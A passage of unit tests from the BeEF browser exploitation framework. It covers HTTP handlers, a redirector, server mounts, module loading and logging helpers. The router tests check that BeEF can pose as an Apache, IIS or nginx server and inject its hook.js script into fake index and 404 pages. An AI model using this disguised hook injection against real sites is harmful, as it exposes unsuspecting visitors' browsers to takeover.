    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::NetworkStack::Handlers::Raw do\n  describe '#initialize' do\n    it 'initializes with status, header, and body' do\n      handler = described_class.new('200', { 'Content-Type' => 'text/html' }, '<html></html>')\n      expect(handler.instance_variable_get(:@status)).to eq('200')\n      expect(handler.instance_variable_get(:@header)).to eq({ 'Content-Type' => 'text/html' })\n      expect(handler.instance_variable_get(:@body)).to eq('<html></html>')\n    end\n\n    it 'initializes with default empty header and nil body' do\n      handler = described_class.new('404')\n      expect(handler.instance_variable_get(:@status)).to eq('404')\n      expect(handler.instance_variable_get(:@header)).to eq({})\n      expect(handler.instance_variable_get(:@body)).to be_nil\n    end\n  end\n\n  describe '#call' do\n    it 'returns Rack::Response with correct status, header, and body' do\n      handler = described_class.new('200', { 'Content-Type' => 'text/html' }, '<html></html>')\n      response = handler.call({})\n\n      expect(response).to be_a(Rack::Response)\n      expect(response.status).to eq(200)\n      expect(response.headers['Content-Type']).to eq('text/html')\n      expect(response.body).to eq(['<html></html>'])\n    end\n\n    it 'handles different status codes' do\n      handler = described_class.new('404', {}, 'Not Found')\n      response = handler.call({})\n\n      expect(response.status).to eq(404)\n      expect(response.body).to eq(['Not Found'])\n    end\n\n    it 'handles nil body' do\n      handler = described_class.new('204', {})\n      response = handler.call({})\n\n      expect(response.status).to eq(204)\n      expect(response.body).to eq([])\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/network_stack/handlers/redirector_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe 'BeEF Redirector' do\n\n  before(:all) do\n    @__ar_config_snapshot = SpecActiveRecordConnection.snapshot\n    @port = 2002\n    config = {}\n    config[:BindAddress] = '127.0.0.1'\n    config[:Port] = @port.to_s\n    @mounts = {}\n    @mounts['/test'] = BeEF::Core::NetworkStack::Handlers::Redirector.new('http://www.beefproject.com')\n    @rackApp = Rack::URLMap.new(@mounts)\n    Thin::Logging.silent = true\n    @server = Thin::Server.new('127.0.0.1', @port.to_s, @rackApp)\n    trap(\"INT\") { @server.stop }\n    trap(\"TERM\") { @server.stop }\n\n\n    # ***** IMPORTANT: close any and all AR/OTR connections before forking *****\n    disconnect_all_active_record!\n\n    @pid = fork do\n      @server.start!\n    end\n    # wait for server to start\n    sleep 0.8\n  end\n\n  after(:all) do\n    Process.kill(\"INT\",@pid)\n    SpecActiveRecordConnection.restore!(@__ar_config_snapshot)\n  end\n\n  it 'redirects' do\n    response = Curl::Easy.http_get(\"http://127.0.0.1:#{@port}/test/\")\n    expect(response.response_code).to eql(302)\n    expect(response.body_str).to eql(\"302 found\")\n    expect(response.header_str).to match(/^location:\\s*http:\\/\\/www\\.beefproject\\.com\\r?$/i)\n  end\n\nend\n"
  },
  {
    "path": "spec/beef/core/main/router/router_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::Router::Router do\n  let(:config) { BeEF::Core::Configuration.instance }\n\n  # Create a test instance that we can call private methods on\n  let(:router_instance) do\n    instance = described_class.allocate\n    instance.instance_variable_set(:@config, config)\n    instance\n  end\n\n  describe '#response_headers' do\n    it 'returns default headers when web server imitation is disabled' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(false)\n      headers = router_instance.send(:response_headers)\n      expect(headers['Server']).to eq('')\n      expect(headers['Content-Type']).to eq('text/html')\n    end\n\n    it 'returns Apache headers when type is apache' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('apache')\n      headers = router_instance.send(:response_headers)\n      expect(headers['Server']).to eq('Apache/2.2.3 (CentOS)')\n      expect(headers['Content-Type']).to eq('text/html; charset=UTF-8')\n    end\n\n    it 'returns IIS headers when type is iis' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('iis')\n      headers = router_instance.send(:response_headers)\n      expect(headers['Server']).to eq('Microsoft-IIS/6.0')\n      expect(headers['X-Powered-By']).to eq('ASP.NET')\n      expect(headers['Content-Type']).to eq('text/html; charset=UTF-8')\n    end\n\n    it 'returns nginx headers when type is nginx' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('nginx')\n      headers = router_instance.send(:response_headers)\n      expect(headers['Server']).to eq('nginx')\n      expect(headers['Content-Type']).to eq('text/html')\n    end\n\n    it 'returns default headers for invalid type' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('invalid')\n      headers = router_instance.send(:response_headers)\n      expect(headers['Server']).to eq('')\n      expect(headers['Content-Type']).to eq('text/html')\n    end\n  end\n\n  describe '#index_page' do\n    it 'returns empty string when web server imitation is disabled' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(false)\n      result = router_instance.send(:index_page)\n      expect(result).to eq('')\n    end\n\n    it 'returns Apache index page when enabled and type is apache' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('apache')\n      allow(config).to receive(:get).with('beef.extension.admin_ui.base_path').and_return('/ui')\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_root').and_return(false)\n      result = router_instance.send(:index_page)\n      expect(result).to include('Apache HTTP Server Test Page')\n      expect(result).to include('powered by CentOS')\n    end\n\n    it 'returns IIS index page when enabled and type is iis' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('iis')\n      allow(config).to receive(:get).with('beef.extension.admin_ui.base_path').and_return('/ui')\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_root').and_return(false)\n      result = router_instance.send(:index_page)\n      expect(result).to include('Under Construction')\n    end\n\n    it 'returns nginx index page when enabled and type is nginx' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('nginx')\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_root').and_return(false)\n      # nginx doesn't use base_path, but the method might check it\n      allow(config).to receive(:get).with('beef.extension.admin_ui.base_path').and_return('/ui')\n      result = router_instance.send(:index_page)\n      expect(result).to include('Welcome to nginx!')\n    end\n\n    it 'includes hook script when hook_root is enabled' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('apache')\n      allow(config).to receive(:get).with('beef.extension.admin_ui.base_path').and_return('/ui')\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_root').and_return(true)\n      allow(config).to receive(:get).with('beef.http.hook_file').and_return('/hook.js')\n      result = router_instance.send(:index_page)\n      expect(result).to include(\"<script src='/hook.js'></script>\")\n    end\n  end\n\n  describe '#error_page_404' do\n    it 'returns simple message when web server imitation is disabled' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(false)\n      result = router_instance.send(:error_page_404)\n      expect(result).to eq('Not Found.')\n    end\n\n    it 'returns Apache 404 page when enabled and type is apache' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('apache')\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_404').and_return(false)\n      result = router_instance.send(:error_page_404)\n      expect(result).to include('404 Not Found')\n      expect(result).to include('Apache/2.2.3 (CentOS)')\n    end\n\n    it 'returns IIS 404 page when enabled and type is iis' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('iis')\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_404').and_return(false)\n      result = router_instance.send(:error_page_404)\n      expect(result).to include('The page cannot be found')\n    end\n\n    it 'returns nginx 404 page when enabled and type is nginx' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('nginx')\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_404').and_return(false)\n      result = router_instance.send(:error_page_404)\n      expect(result).to include('404 Not Found')\n      expect(result).to include('nginx')\n    end\n\n    it 'includes hook script when hook_404 is enabled' do\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.type').and_return('apache')\n      allow(config).to receive(:get).with('beef.http.web_server_imitation.hook_404').and_return(true)\n      allow(config).to receive(:get).with('beef.http.hook_file').and_return('/hook.js')\n      result = router_instance.send(:error_page_404)\n      expect(result).to include(\"<script src='/hook.js'></script>\")\n    end\n  end\n\nend\n"
  },
  {
    "path": "spec/beef/core/main/server_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::Server do\n  let(:config) { BeEF::Core::Configuration.instance }\n  let(:server) { described_class.instance }\n\n  before do\n    # Reset singleton instance for each test\n    described_class.instance_variable_set(:@singleton__instance__, nil)\n  end\n\n  describe '#initialize' do\n    it 'initializes with configuration' do\n      expect(server.configuration).to eq(config)\n    end\n\n    it 'sets root_dir' do\n      expect(server.root_dir).to be_a(String)\n      expect(server.root_dir).to be_a(Pathname).or(be_a(String))\n    end\n\n    it 'initializes empty mounts hash' do\n      expect(server.mounts).to eq({})\n    end\n\n    it 'initializes empty command_urls hash' do\n      expect(server.command_urls).to eq({})\n    end\n\n    it 'creates a semaphore' do\n      expect(server.semaphore).to be_a(Mutex)\n    end\n  end\n\n  describe '#to_h' do\n    it 'returns a hash with server information' do\n      result = server.to_h\n      expect(result).to be_a(Hash)\n      expect(result).to have_key('beef_url')\n      expect(result).to have_key('beef_root_dir')\n      expect(result).to have_key('beef_host')\n      expect(result).to have_key('beef_port')\n    end\n\n    it 'includes hook file path' do\n      # The to_h method calls config.get, so we need to allow it\n      allow(config).to receive(:get).and_call_original\n      allow(config).to receive(:get).with('beef.http.hook_file').and_return('/hook.js')\n      result = server.to_h\n      expect(result['beef_hook']).to eq('/hook.js')\n    end\n  end\n\n  describe '#mount' do\n    it 'mounts a handler without arguments' do\n      handler_class = Class.new\n      server.mount('/test', handler_class)\n      expect(server.mounts['/test']).to eq(handler_class)\n    end\n\n    it 'mounts a handler with arguments' do\n      handler_class = Class.new\n      server.mount('/test', handler_class, 'arg1')\n      expect(server.mounts['/test']).to eq([handler_class, 'arg1'])\n    end\n\n    it 'raises TypeError for non-string URL' do\n      handler_class = Class.new\n      expect { server.mount(123, handler_class) }.to raise_error(TypeError, /\"url\" needs to be a string/)\n    end\n\n    it 'overwrites existing mount' do\n      handler1 = Class.new\n      handler2 = Class.new\n      server.mount('/test', handler1)\n      server.mount('/test', handler2)\n      expect(server.mounts['/test']).to eq(handler2)\n    end\n  end\n\n  describe '#unmount' do\n    it 'removes a mounted handler' do\n      handler_class = Class.new\n      server.mount('/test', handler_class)\n      server.unmount('/test')\n      expect(server.mounts).not_to have_key('/test')\n    end\n\n    it 'raises TypeError for non-string URL' do\n      expect { server.unmount(123) }.to raise_error(TypeError, /\"url\" needs to be a string/)\n    end\n\n    it 'does nothing if URL is not mounted' do\n      expect { server.unmount('/nonexistent') }.not_to raise_error\n      expect(server.mounts).not_to have_key('/nonexistent')\n    end\n  end\n\n  describe '#remap' do\n    it 'calls remap on rack_app with mounts' do\n      handler_class = Class.new\n      server.mount('/test', handler_class)\n      mock_rack_app = double('Rack::URLMap')\n      server.instance_variable_set(:@rack_app, mock_rack_app)\n      expect(mock_rack_app).to receive(:remap).with(server.mounts)\n      server.remap\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/module_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Module do\n  let(:config) { BeEF::Core::Configuration.instance }\n\n  describe '.is_present' do\n    it 'returns true when module exists in configuration' do\n      allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} })\n      expect(described_class.is_present('test_module')).to be true\n    end\n\n    it 'returns false when module does not exist' do\n      allow(config).to receive(:get).with('beef.module').and_return({})\n      expect(described_class.is_present('nonexistent')).to be false\n    end\n  end\n\n  describe '.is_enabled' do\n    it 'returns true when module is present and enabled' do\n      allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} })\n      allow(config).to receive(:get).with('beef.module.test_module.enable').and_return(true)\n      expect(described_class.is_enabled('test_module')).to be true\n    end\n\n    it 'returns false when module is not present' do\n      allow(config).to receive(:get).with('beef.module').and_return({})\n      expect(described_class.is_enabled('nonexistent')).to be false\n    end\n\n    it 'returns false when module is disabled' do\n      allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} })\n      allow(config).to receive(:get).with('beef.module.test_module.enable').and_return(false)\n      expect(described_class.is_enabled('test_module')).to be false\n    end\n  end\n\n  describe '.is_loaded' do\n    it 'returns true when module is enabled and loaded' do\n      allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} })\n      allow(config).to receive(:get).with('beef.module.test_module.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.module.test_module.loaded').and_return(true)\n      expect(described_class.is_loaded('test_module')).to be true\n    end\n\n    it 'returns false when module is not loaded' do\n      allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} })\n      allow(config).to receive(:get).with('beef.module.test_module.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.module.test_module.loaded').and_return(false)\n      expect(described_class.is_loaded('test_module')).to be false\n    end\n  end\n\n  describe '.get_key_by_database_id' do\n    it 'returns module key for matching database id' do\n      modules = {\n        'module1' => { 'db' => { 'id' => 1 } },\n        'module2' => { 'db' => { 'id' => 2 } }\n      }\n      allow(config).to receive(:get).with('beef.module').and_return(modules)\n      expect(described_class.get_key_by_database_id(2)).to eq('module2')\n    end\n\n    it 'returns nil when no module matches' do\n      allow(config).to receive(:get).with('beef.module').and_return({})\n      expect(described_class.get_key_by_database_id(999)).to be_nil\n    end\n  end\n\n  describe '.get_key_by_class' do\n    it 'returns module key for matching class' do\n      modules = {\n        'module1' => { 'class' => 'TestClass1' },\n        'module2' => { 'class' => 'TestClass2' }\n      }\n      allow(config).to receive(:get).with('beef.module').and_return(modules)\n      expect(described_class.get_key_by_class('TestClass2')).to eq('module2')\n    end\n  end\n\n  describe '.exists?' do\n    it 'returns true when class exists' do\n      test_class = Class.new\n      BeEF::Core::Command.const_set(:Testmodule, test_class)\n      expect(described_class.exists?('testmodule')).to be true\n      BeEF::Core::Command.send(:remove_const, :Testmodule)\n    end\n\n    it 'returns false when class does not exist' do\n      expect(described_class.exists?('NonexistentClass')).to be false\n    end\n  end\n\n  describe '.match_target_browser' do\n    it 'returns browser constant for valid browser string' do\n      result = described_class.match_target_browser('FF')\n      expect(result).to eq(BeEF::Core::Constants::Browsers::FF)\n    end\n\n    it 'returns false for invalid browser string' do\n      expect(described_class.match_target_browser('InvalidBrowser')).to be false\n    end\n\n    it 'returns false for non-string input' do\n      expect(described_class.match_target_browser(123)).to be false\n    end\n  end\n\n  describe '.match_target_os' do\n    it 'returns OS constant for valid OS string' do\n      result = described_class.match_target_os('Linux')\n      expect(result).to eq(BeEF::Core::Constants::Os::OS_LINUX_UA_STR)\n    end\n\n    it 'returns false for invalid OS string' do\n      expect(described_class.match_target_os('InvalidOS')).to be false\n    end\n\n    it 'returns false for non-string input' do\n      expect(described_class.match_target_os(123)).to be false\n    end\n  end\n\n  describe '.match_target_browser_spec' do\n    it 'returns hash with max_ver and min_ver' do\n      spec = { 'max_ver' => 10, 'min_ver' => 5 }\n      result = described_class.match_target_browser_spec(spec)\n      expect(result['max_ver']).to eq(10)\n      expect(result['min_ver']).to eq(5)\n    end\n\n    it 'handles latest as max_ver' do\n      spec = { 'max_ver' => 'latest' }\n      result = described_class.match_target_browser_spec(spec)\n      expect(result['max_ver']).to eq('latest')\n    end\n\n    it 'returns empty hash for non-hash input' do\n      expect(described_class.match_target_browser_spec('invalid')).to eq({})\n    end\n\n    it 'includes OS when specified' do\n      spec = { 'max_ver' => 10, 'os' => 'Linux' }\n      result = described_class.match_target_browser_spec(spec)\n      expect(result['os']).to eq(BeEF::Core::Constants::Os::OS_LINUX_UA_STR)\n    end\n  end\n\n  describe '.merge_options' do\n    it 'returns nil when module is not present' do\n      allow(config).to receive(:get).with('beef.module').and_return({})\n      expect(described_class.merge_options('nonexistent', [])).to be_nil\n    end\n\n    it 'merges default options with custom options' do\n      allow(config).to receive(:get).with('beef.module').and_return({ 'test_module' => {} })\n      allow(described_class).to receive(:is_present).and_return(true)\n      allow(described_class).to receive(:check_hard_load).and_return(true)\n      allow(described_class).to receive(:get_options).and_return(\n        [\n          { 'name' => 'option1', 'value' => 'default1' },\n          { 'name' => 'option2', 'value' => 'default2' }\n        ]\n      )\n      custom_opts = [{ 'name' => 'option1', 'value' => 'custom1' }]\n      result = described_class.merge_options('test_module', custom_opts)\n\n      expect(result.length).to eq(2)\n      expect(result.find { |o| o['name'] == 'option1' }['value']).to eq('custom1')\n      expect(result.find { |o| o['name'] == 'option2' }['value']).to eq('default2')\n    end\n  end\n\n  describe '.check_hard_load' do\n    it 'returns true when module is already loaded' do\n      allow(described_class).to receive(:is_loaded).and_return(true)\n      expect(described_class.check_hard_load('test_module')).to be true\n    end\n\n    it 'calls hard_load when module is not loaded' do\n      allow(described_class).to receive(:is_loaded).and_return(false)\n      expect(described_class).to receive(:hard_load).with('test_module')\n      described_class.check_hard_load('test_module')\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/modules_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe 'BeEF Modules' do\n  it 'loaded successfully' do\n    config = BeEF::Core::Configuration.instance\n\n    # Force reload modules to ensure fresh state\n    BeEF::Modules.load\n\n    # Verify modules were loaded\n    all_modules = config.get('beef.module')\n    expect(all_modules).not_to be_nil, 'Modules should be loaded'\n    expect(all_modules).to be_a(Hash), 'Modules should be a hash'\n    expect(all_modules.length).to be > 0, 'At least one module should be loaded'\n\n    # Find enabled modules with categories\n    modules = all_modules.select do |_k, v|\n      v['enable'] == true && !v['category'].nil?\n    end\n\n    # Provide helpful error message if no enabled modules found\n    if modules.empty?\n      enabled_count = all_modules.count { |_k, v| v['enable'] == true }\n      with_category = all_modules.count { |_k, v| !v['category'].nil? }\n      raise \"No enabled modules with categories found. Total modules: #{all_modules.length}, \" \\\n            \"Enabled: #{enabled_count}, With category: #{with_category}\"\n    end\n\n    expect(modules.length).to be > 0, 'At least one enabled module with category should exist'\n\n    modules.each_key do |k|\n      expect(BeEF::Module.is_present(k)).to be(true)\n      expect(BeEF::Module.is_enabled(k)).to be(true)\n\n      # Skip hard_load if module file doesn't exist (e.g., test modules)\n      mod_path = config.get(\"beef.module.#{k}.path\")\n      mod_file = \"#{$root_dir}/#{mod_path}/module.rb\" # rubocop:disable Style/GlobalVars\n      if File.exist?(mod_file)\n        expect do\n          BeEF::Module.hard_load(k)\n        end.to_not raise_error\n        expect(BeEF::Module.is_loaded(k)).to be(true)\n      end\n\n      # Only check target if it exists\n      target = config.get(\"beef.module.#{k}.target\")\n      next unless target.is_a?(Hash)\n\n      target.each_value do |target_value|\n        expect(target_value).to_not be_empty\n      end\n    end\n  end\n\n  it 'safe client debug log' do\n    Dir['../../modules/**/*.js'].each do |path|\n      next unless File.file?(path)\n\n      File.open(path) do |f|\n        f.grep(/\\bconsole\\.log\\W*\\(/m) do |line| # rubocop:disable Lint/UnreachableLoop -- false positive\n          raise \"Function 'console.log' instead of 'beef.debug' inside\\n Path: #{path}\\nLine: #{line}\"\n        end\n      end\n    end\n  end\n\n  it 'safe variable decleration' do\n    Dir['../../modules/**/*.js'].each do |path|\n      next unless File.file?(path)\n\n      File.open(path) do |f|\n        f.grep(/\\blet\\W+[a-zA-Z0-9_.]+\\W*=/) do |line| # rubocop:disable Lint/UnreachableLoop -- false positive\n          raise \"Variable declared with 'let' instead of 'var' inside\\n Path: #{path}\\nLine: #{line}\"\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/ruby/hash_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'spec_helper'\n\nRSpec.describe 'Hash#deep_merge' do\n  it 'merges two simple hashes' do\n    hash1 = { a: 1, b: 2 }\n    hash2 = { c: 3, d: 4 }\n    result = hash1.deep_merge(hash2)\n\n    expect(result).to eq({ a: 1, b: 2, c: 3, d: 4 })\n  end\n\n  it 'overwrites duplicate keys with values from calling hash' do\n    hash1 = { a: 1, b: 2 }\n    hash2 = { b: 3, c: 4 }\n    result = hash1.deep_merge(hash2)\n\n    expect(result[:a]).to eq(1)\n    expect(result[:b]).to eq(3) # hash2 value overwrites\n    expect(result[:c]).to eq(4)\n  end\n\n  it 'recursively merges nested hashes' do\n    hash1 = { a: { b: 1, c: 2 }, d: 3 }\n    hash2 = { a: { c: 4, e: 5 }, f: 6 }\n    result = hash1.deep_merge(hash2)\n\n    expect(result[:a][:b]).to eq(1)\n    expect(result[:a][:c]).to eq(4) # hash2 value overwrites\n    expect(result[:a][:e]).to eq(5)\n    expect(result[:d]).to eq(3)\n    expect(result[:f]).to eq(6)\n  end\n\n  it 'handles deeply nested hashes' do\n    hash1 = { a: { b: { c: 1 } } }\n    hash2 = { a: { b: { d: 2 } } }\n    result = hash1.deep_merge(hash2)\n\n    expect(result[:a][:b][:c]).to eq(1)\n    expect(result[:a][:b][:d]).to eq(2)\n  end\n\n  it 'does not modify the original hash' do\n    hash1 = { a: 1 }\n    hash2 = { b: 2 }\n    original_hash1 = hash1.dup\n\n    hash1.deep_merge(hash2)\n\n    expect(hash1).to eq(original_hash1)\n  end\n\n  it 'handles empty hashes' do\n    hash1 = {}\n    hash2 = { a: 1 }\n    result = hash1.deep_merge(hash2)\n\n    expect(result).to eq({ a: 1 })\n  end\n\n  it 'handles merging with empty hash' do\n    hash1 = { a: 1 }\n    hash2 = {}\n    result = hash1.deep_merge(hash2)\n\n    expect(result).to eq({ a: 1 })\n  end\n\n  it 'handles non-hash values in nested structure' do\n    hash1 = { a: { b: 1 } }\n    hash2 = { a: 2 } # a is not a hash in hash2\n    result = hash1.deep_merge(hash2)\n\n    expect(result[:a]).to eq(2) # Should overwrite with non-hash value\n  end\n\n  it 'handles nil values in source hash' do\n    hash1 = { a: nil, b: 1 }\n    hash2 = { a: 2, c: 3 }\n    result = hash1.deep_merge(hash2)\n\n    expect(result[:a]).to eq(2) # Should overwrite nil\n    expect(result[:b]).to eq(1)\n    expect(result[:c]).to eq(3)\n  end\n\n  it 'handles nil values when merging nested hashes' do\n    hash1 = { a: nil }\n    hash2 = { a: { b: 1 } }\n    result = hash1.deep_merge(hash2)\n\n    expect(result[:a]).to eq({ b: 1 }) # Should overwrite nil with hash\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/ruby/module_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'spec_helper'\n\nRSpec.describe 'Module extensions' do\n  # Create a test module to use in tests\n  let(:test_module) do\n    Module.new do\n      def test_method\n        'test'\n      end\n    end\n  end\n\n  describe '#included_in_classes' do\n    it 'returns an array' do\n      result = test_module.included_in_classes\n      expect(result).to be_an(Array)\n    end\n\n    it 'finds classes that include the module' do\n      mod = test_module\n      test_class = Class.new do\n        include mod\n      end\n\n      # Force class to be created\n      test_class.new\n\n      included_classes = mod.included_in_classes\n      expect(included_classes.map(&:to_s)).to include(test_class.to_s)\n    end\n\n    it 'returns unique classes only' do\n      mod = test_module\n      test_class = Class.new do\n        include mod\n      end\n\n      # Force class to be created multiple times\n      test_class.new\n      test_class.new\n\n      included_classes = mod.included_in_classes\n      unique_class_names = included_classes.map(&:to_s)\n      expect(unique_class_names.count(test_class.to_s)).to eq(1)\n    end\n\n    it 'returns empty array when module is not included anywhere' do\n      isolated_module = Module.new\n      result = isolated_module.included_in_classes\n      expect(result).to be_an(Array)\n      # May or may not be empty depending on what's loaded, but should be an array\n    end\n  end\n\n  describe '#included_in_modules' do\n    it 'returns an array' do\n      result = test_module.included_in_modules\n      expect(result).to be_an(Array)\n    end\n\n    it 'finds modules that include the module' do\n      mod = test_module\n      including_module = Module.new do\n        include mod\n      end\n\n      # Force module to be created\n      Class.new { include including_module }\n\n      included_modules = mod.included_in_modules\n      expect(included_modules.map(&:to_s)).to include(including_module.to_s)\n    end\n\n    it 'returns unique modules only' do\n      mod = test_module\n      including_module = Module.new do\n        include mod\n      end\n\n      # Force module to be created multiple times\n      Class.new { include including_module }\n      Class.new { include including_module }\n\n      included_modules = mod.included_in_modules\n      unique_module_names = included_modules.map(&:to_s)\n      expect(unique_module_names.count(including_module.to_s)).to eq(1)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/ruby/print_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'spec_helper'\n\nRSpec.describe 'Print functions' do\n  let(:logger) { BeEF.logger }\n  let(:test_message) { 'test message' }\n\n  before(:each) do\n    # Mock stdout to avoid cluttering test output\n    allow($stdout).to receive(:puts)\n    allow($stdout).to receive(:print)\n\n    # Mock logger methods\n    allow(logger).to receive(:error)\n    allow(logger).to receive(:info)\n    allow(logger).to receive(:warn)\n    allow(logger).to receive(:debug)\n  end\n\n  describe '#print_error' do\n    it 'calls logger.error with the message' do\n      expect(logger).to receive(:error).with(test_message)\n      print_error(test_message)\n    end\n\n    it 'outputs to stdout with timestamp and error prefix' do\n      expect($stdout).to receive(:puts).with(match(/\\[!\\] #{test_message}/))\n      print_error(test_message)\n    end\n\n    it 'converts non-string arguments to string' do\n      expect(logger).to receive(:error).with('123')\n      print_error(123)\n    end\n  end\n\n  describe '#print_info' do\n    it 'calls logger.info with the message' do\n      expect(logger).to receive(:info).with(test_message)\n      print_info(test_message)\n    end\n\n    it 'outputs to stdout with timestamp and info prefix' do\n      expect($stdout).to receive(:puts).with(match(/\\[\\*\\] #{test_message}/))\n      print_info(test_message)\n    end\n  end\n\n  describe '#print_status' do\n    it 'calls print_info' do\n      expect(logger).to receive(:info).with(test_message)\n      print_status(test_message)\n    end\n  end\n\n  describe '#print_warning' do\n    it 'calls logger.warn with the message' do\n      expect(logger).to receive(:warn).with(test_message)\n      print_warning(test_message)\n    end\n\n    it 'outputs to stdout with timestamp and warning prefix' do\n      expect($stdout).to receive(:puts).with(match(/\\[!\\] #{test_message}/))\n      print_warning(test_message)\n    end\n  end\n\n  describe '#print_debug' do\n    let(:config) { BeEF::Core::Configuration.instance }\n\n    context 'when debug is enabled' do\n      before do\n        allow(config).to receive(:get).with('beef.debug').and_return(true)\n        allow(BeEF::Core::Console::CommandLine).to receive(:parse).and_return({})\n      end\n\n      it 'calls logger.debug with the message' do\n        expect(logger).to receive(:debug).with(test_message)\n        print_debug(test_message)\n      end\n\n      it 'outputs to stdout with timestamp and debug prefix' do\n        expect($stdout).to receive(:puts).with(match(/\\[>\\] #{test_message}/))\n        print_debug(test_message)\n      end\n    end\n\n    context 'when verbose flag is set' do\n      before do\n        allow(config).to receive(:get).with('beef.debug').and_return(false)\n        allow(BeEF::Core::Console::CommandLine).to receive(:parse).and_return({ verbose: true })\n      end\n\n      it 'calls logger.debug with the message' do\n        expect(logger).to receive(:debug).with(test_message)\n        print_debug(test_message)\n      end\n    end\n\n    context 'when debug is disabled and verbose is not set' do\n      before do\n        allow(config).to receive(:get).with('beef.debug').and_return(false)\n        allow(BeEF::Core::Console::CommandLine).to receive(:parse).and_return({})\n      end\n\n      it 'does not call logger.debug' do\n        expect(logger).not_to receive(:debug)\n        print_debug(test_message)\n      end\n\n      it 'does not output to stdout' do\n        expect($stdout).not_to receive(:puts)\n        print_debug(test_message)\n      end\n    end\n  end\n\n  describe '#print_success' do\n    it 'calls logger.info with the message' do\n      expect(logger).to receive(:info).with(test_message)\n      print_success(test_message)\n    end\n\n    it 'outputs to stdout with timestamp and success prefix' do\n      expect($stdout).to receive(:puts).with(match(/\\[\\+\\] #{test_message}/))\n      print_success(test_message)\n    end\n  end\n\n  describe '#print_good' do\n    it 'calls print_success' do\n      expect(logger).to receive(:info).with(test_message)\n      print_good(test_message)\n    end\n  end\n\n  describe '#print_more' 